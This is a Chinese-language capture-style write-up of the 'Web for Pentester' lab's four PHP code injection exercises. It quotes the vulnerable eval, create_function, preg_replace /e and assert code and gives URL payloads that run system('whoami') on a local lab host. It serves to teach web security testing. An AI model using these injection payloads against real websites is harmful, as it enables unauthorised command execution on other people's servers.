Web for pentester_writeup之Code injection篇

Web for pentester_writeup之Code injection篇

Code injection(代码注入)

Example 1

1605154-20190808143257650-1309948164.png

<1> name=hacker’ 添加一个单引号

1605154-20190808143311050-821937799.png

<2> name=hacker” 添加一个双引号

1605154-20190808143356350-2108491842.png

返回报错信息,分析可知执行了eval()程序

继续测试

1605154-20190808143459406-1888671742.png

这块有点复杂,我们先看一下源代码

<?php require_once("../header.php"); ?> 
<?php 
    $str="echo \"Hello ".$_GET['name']."!!!\";"; 
    eval($str); 
?> 
<?php require_once("../footer.php"); ?>

可知eval实际执行的函数是 echo "Hello ".$_GET['name']."!!!"; ,这条语句中点号.是字符串拼接.
根据上述信息我们可以构造一个执行whoami命令的脚本

Payload 1 结尾使用赋值的方法闭合语句
http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami'); $dummy="

1605154-20190808143538991-707665184.png

实际执行的语句为

echo "Hello ".hacker".system('whoami'); $dummy="."!!!"; 拼接一下变为

echo "Hello hacker".system('whoami'); $dummy="!!!";

从页面返回可以看出,系统先执行了whoami命令,然后执行输出

Payload 2
http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');%23

1605154-20190808143547121-1368557021.png

http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');//

1605154-20190808143555419-1257008802.png

以上2种方式都可以成功执行命令,结尾直接使用#号或//注释后面的内容

Example 2

1605154-20190808143708057-1571194764.png

使用单引号 ?order=id'

1605154-20190808143728771-721286394.png

发现使用的是usort()函数

查看源代码

if (isset($order)) { 
   usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); 
}

尝试闭合构造如下:
?order=id;}// 报错Parse error: syntax error, unexpected ';' 我们可能少了一个或者多个括号。
?order=id);}// 警告Warning: strcmp() expects exactly 2 parameters, 1 given到报的不是语法错误,这个应该可行。
?order=id));}// 继续加括号,报错Parse error: syntax error, unexpected ')'应该是多括号的原因。

Payload
http://192.168.219.136/codeexec/example2.php?order=id);}system('whoami');//

1605154-20190808143741019-782621294.png

Example 3

1605154-20190808143746427-1102653696.png

查看源代码
<?php require_once("../header.php"); ?> 
<?php 
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]); 
?> 
<?php require_once("../footer.php"); ?>

preg_replace()函数:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
$count: 可选,为替换执行的次数。
/e修正符使preg_replace()将replacement参数当作php代码执行,前提是subject中有pattern的匹配。
我们给pattern参数加上/e修正符,并使得subject中有pattern的匹配,并把replacement改为我们要执行的命令

Payload
http://192.168.219.136/codeexec/example3.php?new=system('whoami')&pattern=/lamer/e&base=Hello%20lamer

1605154-20190808143759155-67554670.png

注:php5.5版本以上就废弃了preg_replace函数中 /e 这个修饰符,转而修改成 preg_replace _callback

Example 4

1605154-20190808143810190-1192216016.png

老套路,发现assert()函数

Payload
http://192.168.219.136/codeexec/example4.php?name=hacker'.system(whoami).'

1605154-20190808143843468-553703910.png

对PHP函数代码执行不是特别熟悉,所以主要参考了以下文章,写的很详细

参考文章:https://www.freebuf.com/sectool/168653.html

转载于:https://www.cnblogs.com/liliyuanshangcao/p/11320963.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值